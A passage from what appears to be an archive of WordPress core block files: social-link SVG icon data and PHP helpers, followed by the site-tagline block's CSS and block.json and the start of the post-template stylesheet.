'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M12.065,2a5.526,5.526,0,0,1,3.132.892A5.854,5.854,0,0,1,17.326,5.4a5.821,5.821,0,0,1,.351,2.33q0,.612-.117,2.487a.809.809,0,0,0,.365.091,1.93,1.93,0,0,0,.664-.176,1.93,1.93,0,0,1,.664-.176,1.3,1.3,0,0,1,.729.234.7.7,0,0,1,.351.6.839.839,0,0,1-.41.7,2.732,2.732,0,0,1-.9.41,3.192,3.192,0,0,0-.9.378.728.728,0,0,0-.41.618,1.575,1.575,0,0,0,.156.56,6.9,6.9,0,0,0,1.334,1.953,5.6,5.6,0,0,0,1.881,1.315,5.875,5.875,0,0,0,1.042.3.42.42,0,0,1,.365.456q0,.911-2.852,1.341a1.379,1.379,0,0,0-.143.507,1.8,1.8,0,0,1-.182.605.451.451,0,0,1-.429.241,5.878,5.878,0,0,1-.807-.085,5.917,5.917,0,0,0-.833-.085,4.217,4.217,0,0,0-.807.065,2.42,2.42,0,0,0-.82.293,6.682,6.682,0,0,0-.755.5q-.351.267-.755.527a3.886,3.886,0,0,1-.989.436A4.471,4.471,0,0,1,11.831,22a4.307,4.307,0,0,1-1.256-.176,3.784,3.784,0,0,1-.976-.436q-.4-.26-.749-.527a6.682,6.682,0,0,0-.755-.5,2.422,2.422,0,0,0-.807-.293,4.432,4.432,0,0,0-.82-.065,5.089,5.089,0,0,0-.853.1,5,5,0,0,1-.762.1.474.474,0,0,1-.456-.241,1.819,1.819,0,0,1-.182-.618,1.411,1.411,0,0,0-.143-.521q-2.852-.429-2.852-1.341a.42.42,0,0,1,.365-.456,5.793,5.793,0,0,0,1.042-.3,5.524,5.524,0,0,0,1.881-1.315,6.789,6.789,0,0,0,1.334-1.953A1.575,1.575,0,0,0,6,12.9a.728.728,0,0,0-.41-.618,3.323,3.323,0,0,0-.9-.384,2.912,2.912,0,0,1-.9-.41.814.814,0,0,1-.41-.684.71.71,0,0,1,.338-.593,1.208,1.208,0,0,1,.716-.241,1.976,1.976,0,0,1,.625.169,2.008,2.008,0,0,0,.69.169.919.919,0,0,0,.416-.091q-.117-1.849-.117-2.474A5.861,5.861,0,0,1,6.385,5.4,5.516,5.516,0,0,1,8.625,2.819,7.075,7.075,0,0,1,12.062,2Z"></path></svg>',
),
'soundcloud' => array(
'name' => 'Soundcloud',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M8.9,16.1L9,14L8.9,9.5c0-0.1,0-0.1-0.1-0.1c0,0-0.1-0.1-0.1-0.1c-0.1,0-0.1,0-0.1,0.1c0,0-0.1,0.1-0.1,0.1L8.3,14l0.1,2.1 c0,0.1,0,0.1,0.1,0.1c0,0,0.1,0.1,0.1,0.1C8.8,16.3,8.9,16.3,8.9,16.1z M11.4,15.9l0.1-1.8L11.4,9c0-0.1,0-0.2-0.1-0.2 c0,0-0.1,0-0.1,0s-0.1,0-0.1,0c-0.1,0-0.1,0.1-0.1,0.2l0,0.1l-0.1,5c0,0,0,0.7,0.1,2v0c0,0.1,0,0.1,0.1,0.1c0.1,0.1,0.1,0.1,0.2,0.1 c0.1,0,0.1,0,0.2-0.1c0.1,0,0.1-0.1,0.1-0.2L11.4,15.9z M2.4,12.9L2.5,14l-0.2,1.1c0,0.1,0,0.1-0.1,0.1c0,0-0.1,0-0.1-0.1L2.1,14 l0.1-1.1C2.2,12.9,2.3,12.9,2.4,12.9C2.3,12.9,2.4,12.9,2.4,12.9z M3.1,12.2L3.3,14l-0.2,1.8c0,0.1,0,0.1-0.1,0.1 c-0.1,0-0.1,0-0.1-0.1L2.8,14L3,12.2C3,12.2,3,12.2,3.1,12.2C3.1,12.2,3.1,12.2,3.1,12.2z M3.9,11.9L4.1,14l-0.2,2.1 c0,0.1,0,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L3.5,14l0.2-2.1c0-0.1,0-0.1,0.1-0.1C3.9,11.8,3.9,11.8,3.9,11.9z M4.7,11.9L4.9,14 l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L4.3,14l0.2-2.2c0-0.1,0-0.1,0.1-0.1C4.7,11.7,4.7,11.8,4.7,11.9z M5.6,12 l0.2,2l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c0,0-0.1,0-0.1,0c0,0,0-0.1,0-0.1L5.1,14l0.2-2c0,0,0-0.1,0-0.1s0.1,0,0.1,0 C5.5,11.9,5.5,11.9,5.6,12L5.6,12z M6.4,10.7L6.6,14l-0.2,2.1c0,0,0,0.1,0,0.1c0,0-0.1,0-0.1,0c-0.1,0-0.1-0.1-0.2-0.2L5.9,14 l0.2-3.3c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0C6.4,10.7,6.4,10.7,6.4,10.7z M7.2,10l0.2,4.1l-0.2,2.1c0,0,0,0.1,0,0.1 c0,0-0.1,0-0.1,0c-0.1,0-0.2-0.1-0.2-0.2l-0.1-2.1L6.8,10c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0S7.2,9.9,7.2,10z M8,9.6L8.2,14 L8,16.1c0,0.1-0.1,0.2-0.2,0.2c-0.1,0-0.2-0.1-0.2-0.2L7.5,14l0.1-4.4c0-0.1,0-0.1,0.1-0.1c0,0,0.1-0.1,0.1-0.1c0.1,0,0.1,0,0.1,0.1 C8,9.6,8,9.6,8,9.6z M11.4,16.1L11.4,16.1L11.4,16.1z M9.7,9.6L9.8,14l-0.1,2.1c0,0.1,0,0.1-0.1,0.2s-0.1,0.1-0.2,0.1 c-0.1,0-0.1,0-0.1-0.1s-0.1-0.1-0.1-0.2L9.2,14l0.1-4.4c0-0.1,0-0.1,0.1-0.2s0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S9.7,9.5,9.7,9.6 L9.7,9.6z M10.6,9.8l0.1,4.3l-0.1,2c0,0.1,0,0.1-0.1,0.2c0,0-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c0,0-0.1-0.1-0.1-0.2L10,14 l0.1-4.3c0-0.1,0-0.1,0.1-0.2c0,0,0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S10.6,9.7,10.6,9.8z M12.4,14l-0.1,2c0,0.1,0,0.1-0.1,0.2 c-0.1,0.1-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2l-0.1-1l-0.1-1l0.1-5.5v0c0-0.1,0-0.2,0.1-0.2 c0.1,0,0.1-0.1,0.2-0.1c0,0,0.1,0,0.1,0c0.1,0,0.1,0.1,0.1,0.2L12.4,14z M22.1,13.9c0,0.7-0.2,1.3-0.7,1.7c-0.5,0.5-1.1,0.7-1.7,0.7 h-6.8c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2V8.2c0-0.1,0.1-0.2,0.2-0.3c0.5-0.2,1-0.3,1.6-0.3c1.1,0,2.1,0.4,2.9,1.1 c0.8,0.8,1.3,1.7,1.4,2.8c0.3-0.1,0.6-0.2,1-0.2c0.7,0,1.3,0.2,1.7,0.7C21.8,12.6,22.1,13.2,22.1,13.9L22.1,13.9z"></path></svg>',
),
'spotify' => array(
'name' => 'Spotify',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M12,2C6.477,2,2,6.477,2,12c0,5.523,4.477,10,10,10c5.523,0,10-4.477,10-10C22,6.477,17.523,2,12,2 M16.586,16.424 c-0.18,0.295-0.563,0.387-0.857,0.207c-2.348-1.435-5.304-1.76-8.785-0.964c-0.335,0.077-0.67-0.133-0.746-0.469 c-0.077-0.335,0.132-0.67,0.469-0.746c3.809-0.871,7.077-0.496,9.713,1.115C16.673,15.746,16.766,16.13,16.586,16.424 M17.81,13.7 c-0.226,0.367-0.706,0.482-1.072,0.257c-2.687-1.652-6.785-2.131-9.965-1.166C6.36,12.917,5.925,12.684,5.8,12.273 C5.675,11.86,5.908,11.425,6.32,11.3c3.632-1.102,8.147-0.568,11.234,1.328C17.92,12.854,18.035,13.335,17.81,13.7 M17.915,10.865 c-3.223-1.914-8.54-2.09-11.618-1.156C5.804,9.859,5.281,9.58,5.131,9.086C4.982,8.591,5.26,8.069,5.755,7.919 c3.532-1.072,9.404-0.865,13.115,1.338c0.445,0.264,0.59,0.838,0.327,1.282C18.933,10.983,18.359,11.129,17.915,10.865"></path></svg>',
),
'telegram' => array(
'name' => 'Telegram',
'icon' => '<svg width="24" height="24" viewBox="0 0 128 128" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M28.9700376,63.3244248 C47.6273373,55.1957357 60.0684594,49.8368063 66.2934036,47.2476366 C84.0668845,39.855031 87.7600616,38.5708563 90.1672227,38.528 C90.6966555,38.5191258 91.8804274,38.6503351 92.6472251,39.2725385 C93.294694,39.7979149 93.4728387,40.5076237 93.5580865,41.0057381 C93.6433345,41.5038525 93.7494885,42.63857 93.6651041,43.5252052 C92.7019529,53.6451182 88.5344133,78.2034783 86.4142057,89.5379542 C85.5170662,94.3339958 83.750571,95.9420841 82.0403991,96.0994568 C78.3237996,96.4414641 75.5015827,93.6432685 71.9018743,91.2836143 C66.2690414,87.5912212 63.0868492,85.2926952 57.6192095,81.6896017 C51.3004058,77.5256038 55.3966232,75.2369981 58.9976911,71.4967761 C59.9401076,70.5179421 76.3155302,55.6232293 76.6324771,54.2720454 C76.6721165,54.1030573 76.7089039,53.4731496 76.3346867,53.1405352 C75.9604695,52.8079208 75.4081573,52.921662 75.0095933,53.0121213 C74.444641,53.1403447 65.4461175,59.0880351 48.0140228,70.8551922 C45.4598218,72.6091037 43.1463059,73.4636682 41.0734751,73.4188859 C38.7883453,73.3695169 34.3926725,72.1268388 31.1249416,71.0646282 C27.1169366,69.7617838 23.931454,69.0729605 24.208838,66.8603276 C24.3533167,65.7078514 25.9403832,64.5292172 28.9700376,63.3244248 Z" /></svg>',
),
'tiktok' => array(
'name' => 'TikTok',
'icon' => '<svg width="24" height="24" viewBox="0 0 32 32" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M16.708 0.027c1.745-0.027 3.48-0.011 5.213-0.027 0.105 2.041 0.839 4.12 2.333 5.563 1.491 1.479 3.6 2.156 5.652 2.385v5.369c-1.923-0.063-3.855-0.463-5.6-1.291-0.76-0.344-1.468-0.787-2.161-1.24-0.009 3.896 0.016 7.787-0.025 11.667-0.104 1.864-0.719 3.719-1.803 5.255-1.744 2.557-4.771 4.224-7.88 4.276-1.907 0.109-3.812-0.411-5.437-1.369-2.693-1.588-4.588-4.495-4.864-7.615-0.032-0.667-0.043-1.333-0.016-1.984 0.24-2.537 1.495-4.964 3.443-6.615 2.208-1.923 5.301-2.839 8.197-2.297 0.027 1.975-0.052 3.948-0.052 5.923-1.323-0.428-2.869-0.308-4.025 0.495-0.844 0.547-1.485 1.385-1.819 2.333-0.276 0.676-0.197 1.427-0.181 2.145 0.317 2.188 2.421 4.027 4.667 3.828 1.489-0.016 2.916-0.88 3.692-2.145 0.251-0.443 0.532-0.896 0.547-1.417 0.131-2.385 0.079-4.76 0.095-7.145 0.011-5.375-0.016-10.735 0.025-16.093z" /></svg>',
),
'tumblr' => array(
'name' => 'Tumblr',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M17.04 21.28h-3.28c-2.84 0-4.94-1.37-4.94-5.02v-5.67H6.08V7.5c2.93-.73 4.11-3.3 4.3-5.48h3.01v4.93h3.47v3.65H13.4v4.93c0 1.47.73 2.01 1.92 2.01h1.73v3.75z" /></path></svg>',
),
'twitch' => array(
'name' => 'Twitch',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M16.499,8.089h-1.636v4.91h1.636V8.089z M12,8.089h-1.637v4.91H12V8.089z M4.228,3.178L3,6.451v13.092h4.499V22h2.456 l2.454-2.456h3.681L21,14.636V3.178H4.228z M19.364,13.816l-2.864,2.865H12l-2.453,2.453V16.68H5.863V4.814h13.501V13.816z"></path></svg>',
),
'twitter' => array(
'name' => 'Twitter',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M22.23,5.924c-0.736,0.326-1.527,0.547-2.357,0.646c0.847-0.508,1.498-1.312,1.804-2.27 c-0.793,0.47-1.671,0.812-2.606,0.996C18.324,4.498,17.257,4,16.077,4c-2.266,0-4.103,1.837-4.103,4.103 c0,0.322,0.036,0.635,0.106,0.935C8.67,8.867,5.647,7.234,3.623,4.751C3.27,5.357,3.067,6.062,3.067,6.814 c0,1.424,0.724,2.679,1.825,3.415c-0.673-0.021-1.305-0.206-1.859-0.513c0,0.017,0,0.034,0,0.052c0,1.988,1.414,3.647,3.292,4.023 c-0.344,0.094-0.707,0.144-1.081,0.144c-0.264,0-0.521-0.026-0.772-0.074c0.522,1.63,2.038,2.816,3.833,2.85 c-1.404,1.1-3.174,1.756-5.096,1.756c-0.331,0-0.658-0.019-0.979-0.057c1.816,1.164,3.973,1.843,6.29,1.843 c7.547,0,11.675-6.252,11.675-11.675c0-0.178-0.004-0.355-0.012-0.531C20.985,7.47,21.68,6.747,22.23,5.924z"></path></svg>',
),
'vimeo' => array(
'name' => 'Vimeo',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M22.396,7.164c-0.093,2.026-1.507,4.799-4.245,8.32C15.322,19.161,12.928,21,10.97,21c-1.214,0-2.24-1.119-3.079-3.359 c-0.56-2.053-1.119-4.106-1.68-6.159C5.588,9.243,4.921,8.122,4.206,8.122c-0.156,0-0.701,0.328-1.634,0.98L1.594,7.841 c1.027-0.902,2.04-1.805,3.037-2.708C6.001,3.95,7.03,3.327,7.715,3.264c1.619-0.156,2.616,0.951,2.99,3.321 c0.404,2.557,0.685,4.147,0.841,4.769c0.467,2.121,0.981,3.181,1.542,3.181c0.435,0,1.09-0.688,1.963-2.065 c0.871-1.376,1.338-2.422,1.401-3.142c0.125-1.187-0.343-1.782-1.401-1.782c-0.498,0-1.012,0.115-1.541,0.341 c1.023-3.35,2.977-4.977,5.862-4.884C21.511,3.066,22.52,4.453,22.396,7.164z"></path></svg>',
),
'vk' => array(
'name' => 'VK',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M22,7.1c0.2,0.4-0.4,1.5-1.6,3.1c-0.2,0.2-0.4,0.5-0.7,0.9c-0.5,0.7-0.9,1.1-0.9,1.4c-0.1,0.3-0.1,0.6,0.1,0.8 c0.1,0.1,0.4,0.4,0.8,0.9h0l0,0c1,0.9,1.6,1.7,2,2.3c0,0,0,0.1,0.1,0.1c0,0.1,0,0.1,0.1,0.3c0,0.1,0,0.2,0,0.4 c0,0.1-0.1,0.2-0.3,0.3c-0.1,0.1-0.4,0.1-0.6,0.1l-2.7,0c-0.2,0-0.4,0-0.6-0.1c-0.2-0.1-0.4-0.1-0.5-0.2l-0.2-0.1 c-0.2-0.1-0.5-0.4-0.7-0.7s-0.5-0.6-0.7-0.8c-0.2-0.2-0.4-0.4-0.6-0.6C14.8,15,14.6,15,14.4,15c0,0,0,0-0.1,0c0,0-0.1,0.1-0.2,0.2 c-0.1,0.1-0.2,0.2-0.2,0.3c-0.1,0.1-0.1,0.3-0.2,0.5c-0.1,0.2-0.1,0.5-0.1,0.8c0,0.1,0,0.2,0,0.3c0,0.1-0.1,0.2-0.1,0.2l0,0.1 c-0.1,0.1-0.3,0.2-0.6,0.2h-1.2c-0.5,0-1,0-1.5-0.2c-0.5-0.1-1-0.3-1.4-0.6s-0.7-0.5-1.1-0.7s-0.6-0.4-0.7-0.6l-0.3-0.3 c-0.1-0.1-0.2-0.2-0.3-0.3s-0.4-0.5-0.7-0.9s-0.7-1-1.1-1.6c-0.4-0.6-0.8-1.3-1.3-2.2C2.9,9.4,2.5,8.5,2.1,7.5C2,7.4,2,7.3,2,7.2 c0-0.1,0-0.1,0-0.2l0-0.1c0.1-0.1,0.3-0.2,0.6-0.2l2.9,0c0.1,0,0.2,0,0.2,0.1S5.9,6.9,5.9,7L6,7c0.1,0.1,0.2,0.2,0.3,0.3 C6.4,7.7,6.5,8,6.7,8.4C6.9,8.8,7,9,7.1,9.2l0.2,0.3c0.2,0.4,0.4,0.8,0.6,1.1c0.2,0.3,0.4,0.5,0.5,0.7s0.3,0.3,0.4,0.4 c0.1,0.1,0.3,0.1,0.4,0.1c0.1,0,0.2,0,0.3-0.1c0,0,0,0,0.1-0.1c0,0,0.1-0.1,0.1-0.2c0.1-0.1,0.1-0.3,0.1-0.5c0-0.2,0.1-0.5,0.1-0.8 c0-0.4,0-0.8,0-1.3c0-0.3,0-0.5-0.1-0.8c0-0.2-0.1-0.4-0.1-0.5L9.6,7.6C9.4,7.3,9.1,7.2,8.7,7.1C8.6,7.1,8.6,7,8.7,6.9 C8.9,6.7,9,6.6,9.1,6.5c0.4-0.2,1.2-0.3,2.5-0.3c0.6,0,1,0.1,1.4,0.1c0.1,0,0.3,0.1,0.3,0.1c0.1,0.1,0.2,0.1,0.2,0.3 c0,0.1,0.1,0.2,0.1,0.3s0,0.3,0,0.5c0,0.2,0,0.4,0,0.6c0,0.2,0,0.4,0,0.7c0,0.3,0,0.6,0,0.9c0,0.1,0,0.2,0,0.4c0,0.2,0,0.4,0,0.5 c0,0.1,0,0.3,0,0.4s0.1,0.3,0.1,0.4c0.1,0.1,0.1,0.2,0.2,0.3c0.1,0,0.1,0,0.2,0c0.1,0,0.2,0,0.3-0.1c0.1-0.1,0.2-0.2,0.4-0.4 s0.3-0.4,0.5-0.7c0.2-0.3,0.5-0.7,0.7-1.1c0.4-0.7,0.8-1.5,1.1-2.3c0-0.1,0.1-0.1,0.1-0.2c0-0.1,0.1-0.1,0.1-0.1l0,0l0.1,0 c0,0,0,0,0.1,0s0.2,0,0.2,0l3,0c0.3,0,0.5,0,0.7,0S21.9,7,21.9,7L22,7.1z"></path></svg>',
),
'wordpress' => array(
'name' => 'WordPress',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M12.158,12.786L9.46,20.625c0.806,0.237,1.657,0.366,2.54,0.366c1.047,0,2.051-0.181,2.986-0.51 c-0.024-0.038-0.046-0.079-0.065-0.124L12.158,12.786z M3.009,12c0,3.559,2.068,6.634,5.067,8.092L3.788,8.341 C3.289,9.459,3.009,10.696,3.009,12z M18.069,11.546c0-1.112-0.399-1.881-0.741-2.48c-0.456-0.741-0.883-1.368-0.883-2.109 c0-0.826,0.627-1.596,1.51-1.596c0.04,0,0.078,0.005,0.116,0.007C16.472,3.904,14.34,3.009,12,3.009 c-3.141,0-5.904,1.612-7.512,4.052c0.211,0.007,0.41,0.011,0.579,0.011c0.94,0,2.396-0.114,2.396-0.114 C7.947,6.93,8.004,7.642,7.52,7.699c0,0-0.487,0.057-1.029,0.085l3.274,9.739l1.968-5.901l-1.401-3.838 C9.848,7.756,9.389,7.699,9.389,7.699C8.904,7.67,8.961,6.93,9.446,6.958c0,0,1.484,0.114,2.368,0.114 c0.94,0,2.397-0.114,2.397-0.114c0.485-0.028,0.542,0.684,0.057,0.741c0,0-0.488,0.057-1.029,0.085l3.249,9.665l0.897-2.996 C17.841,13.284,18.069,12.316,18.069,11.546z M19.889,7.686c0.039,0.286,0.06,0.593,0.06,0.924c0,0.912-0.171,1.938-0.684,3.22 l-2.746,7.94c2.673-1.558,4.47-4.454,4.47-7.771C20.991,10.436,20.591,8.967,19.889,7.686z M12,22C6.486,22,2,17.514,2,12 C2,6.486,6.486,2,12,2c5.514,0,10,4.486,10,10C22,17.514,17.514,22,12,22z"></path></svg>',
),
'yelp' => array(
'name' => 'Yelp',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M12.271,16.718v1.417q-.011,3.257-.067,3.4a.707.707,0,0,1-.569.446,4.637,4.637,0,0,1-2.024-.424A4.609,4.609,0,0,1,7.8,20.565a.844.844,0,0,1-.19-.4.692.692,0,0,1,.044-.29,3.181,3.181,0,0,1,.379-.524q.335-.412,2.019-2.409.011,0,.669-.781a.757.757,0,0,1,.44-.274.965.965,0,0,1,.552.039.945.945,0,0,1,.418.324.732.732,0,0,1,.139.468Zm-1.662-2.8a.783.783,0,0,1-.58.781l-1.339.435q-3.067.981-3.257.981a.711.711,0,0,1-.6-.4,2.636,2.636,0,0,1-.19-.836,9.134,9.134,0,0,1,.011-1.857,3.559,3.559,0,0,1,.335-1.389.659.659,0,0,1,.625-.357,22.629,22.629,0,0,1,2.253.859q.781.324,1.283.524l.937.379a.771.771,0,0,1,.4.34A.982.982,0,0,1,10.609,13.917Zm9.213,3.313a4.467,4.467,0,0,1-1.021,1.8,4.559,4.559,0,0,1-1.512,1.417.671.671,0,0,1-.7-.078q-.156-.112-2.052-3.2l-.524-.859a.761.761,0,0,1-.128-.513.957.957,0,0,1,.217-.513.774.774,0,0,1,.926-.29q.011.011,1.327.446,2.264.736,2.7.887a2.082,2.082,0,0,1,.524.229.673.673,0,0,1,.245.68Zm-7.5-7.049q.056,1.137-.6,1.361-.647.19-1.272-.792L6.237,4.08a.7.7,0,0,1,.212-.691,5.788,5.788,0,0,1,2.314-1,5.928,5.928,0,0,1,2.5-.352.681.681,0,0,1,.547.5q.034.2.245,3.407T12.327,10.181Zm7.384,1.2a.679.679,0,0,1-.29.658q-.167.112-3.67.959-.747.167-1.015.257l.011-.022a.769.769,0,0,1-.513-.044.914.914,0,0,1-.413-.357.786.786,0,0,1,0-.971q.011-.011.836-1.137,1.394-1.908,1.673-2.275a2.423,2.423,0,0,1,.379-.435A.7.7,0,0,1,17.435,8a4.482,4.482,0,0,1,1.372,1.489,4.81,4.81,0,0,1,.9,1.868v.034Z"></path></svg>',
),
'youtube' => array(
'name' => 'YouTube',
'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" aria-hidden="true" focusable="false"><path d="M21.8,8.001c0,0-0.195-1.378-0.795-1.985c-0.76-0.797-1.613-0.801-2.004-0.847c-2.799-0.202-6.997-0.202-6.997-0.202 h-0.009c0,0-4.198,0-6.997,0.202C4.608,5.216,3.756,5.22,2.995,6.016C2.395,6.623,2.2,8.001,2.2,8.001S2,9.62,2,11.238v1.517 c0,1.618,0.2,3.237,0.2,3.237s0.195,1.378,0.795,1.985c0.761,0.797,1.76,0.771,2.205,0.855c1.6,0.153,6.8,0.201,6.8,0.201 s4.203-0.006,7.001-0.209c0.391-0.047,1.243-0.051,2.004-0.847c0.6-0.607,0.795-1.985,0.795-1.985s0.2-1.618,0.2-3.237v-1.517 C22,9.62,21.8,8.001,21.8,8.001z M9.935,14.594l-0.001-5.62l5.404,2.82L9.935,14.594z"></path></svg>',
),
'share' => array(
'name' => 'Share Icon',
'icon' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M9 11.8l6.1-4.5c.1.4.4.7.9.7h2c.6 0 1-.4 1-1V5c0-.6-.4-1-1-1h-2c-.6 0-1 .4-1 1v.4l-6.4 4.8c-.2-.1-.4-.2-.6-.2H6c-.6 0-1 .4-1 1v2c0 .6.4 1 1 1h2c.2 0 .4-.1.6-.2l6.4 4.8v.4c0 .6.4 1 1 1h2c.6 0 1-.4 1-1v-2c0-.6-.4-1-1-1h-2c-.5 0-.8.3-.9.7L9 12.2v-.4z"/></svg>',
),
);
if ( ! empty( $service )
&& ! empty( $field )
&& isset( $services_data[ $service ] )
&& ( 'icon' === $field || 'name' === $field )
) {
return $services_data[ $service ][ $field ];
} elseif ( ! empty( $service ) && isset( $services_data[ $service ] ) ) {
return $services_data[ $service ];
}
return $services_data;
}
/**
* Returns CSS styles for icon and icon background colors.
*
* @param array $context Block context passed to Social Link.
*
* @return string Inline CSS styles for link's icon and background colors.
*/
function block_core_social_link_get_color_styles( $context ) {
$styles = array();
if ( array_key_exists( 'iconColorValue', $context ) ) {
$styles[] = 'color: ' . $context['iconColorValue'] . '; ';
}
if ( array_key_exists( 'iconBackgroundColorValue', $context ) ) {
$styles[] = 'background-color: ' . $context['iconBackgroundColorValue'] . '; ';
}
return implode( '', $styles );
}
site-tagline/editor-rtl.min.css 0000644 00000000104 15233103272 0012503 0 ustar 00 .wp-block-site-tagline__placeholder{padding:1em 0;border:1px dashed} site-tagline/editor.min.css 0000644 00000000104 15233103272 0011704 0 ustar 00 .wp-block-site-tagline__placeholder{padding:1em 0;border:1px dashed} site-tagline/block.json 0000644 00000001342 15233103272 0011114 0 ustar 00 {
"apiVersion": 2,
"name": "core/site-tagline",
"title": "Site Tagline",
"category": "design",
"description": "Describe in a few words what the website is about. The tagline can be used in search results or when sharing on social networks even if it's not displayed in the theme design.",
"keywords": [ "description" ],
"textdomain": "default",
"attributes": {
"textAlign": {
"type": "string"
}
},
"supports": {
"html": false,
"color": {
"gradients": true
},
"spacing": {
"margin": true,
"padding": true
},
"typography": {
"fontSize": true,
"lineHeight": true,
"__experimentalFontFamily": true,
"__experimentalTextTransform": true
}
},
"editorStyle": "wp-block-site-tagline-editor"
}
site-tagline/editor-rtl.css 0000644 00000002554 15233103272 0011734 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-site-tagline__placeholder {
padding: 1em 0;
border: 1px dashed;
} site-tagline/editor.css 0000644 00000002554 15233103272 0011135 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-site-tagline__placeholder {
padding: 1em 0;
border: 1px dashed;
} post-template/style-rtl.css 0000644 00000007606 15233103272 0012022 0 ustar 00 /**
* Colors
*/
/**
* Breakpoints & Media Queries
*/
/**
* SCSS Variables.
*
* Please use variables from this sheet to ensure consistency across the UI.
* Don't add to this sheet unless you're pretty sure the value will be reused in many places.
* For example, don't add rules to this sheet that affect block visuals. It's purely for UI.
*/
/**
* Colors
*/
/**
* Fonts & basic variables.
*/
/**
* Grid System.
* https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/
*/
/**
* Dimensions.
*/
/**
* Shadows.
*/
/**
* Editor widths.
*/
/**
* Block & Editor UI.
*/
/**
* Block paddings.
*/
/**
* React Native specific.
* These variables do not appear to be used anywhere else.
*/
/**
* Breakpoint mixins
*/
/**
* Long content fade mixin
*
* Creates a fading overlay to signify that the content is longer
* than the space allows.
*/
/**
* Focus styles.
*/
/**
* Applies editor left position to the selector passed as argument
*/
/**
* Styles that are reused verbatim in a few places
*/
/**
* Allows users to opt-out of animations via OS-level preferences.
*/
/**
* Reset default styles for JavaScript UI based pages.
* This is a WP-admin agnostic reset
*/
/**
* Reset the WP Admin page styles for Gutenberg-like pages.
*/
.wp-block-post-template,
.wp-block-query-loop {
max-width: 100%;
list-style: none;
padding: 0;
}
.wp-block-post-template li,
.wp-block-query-loop li {
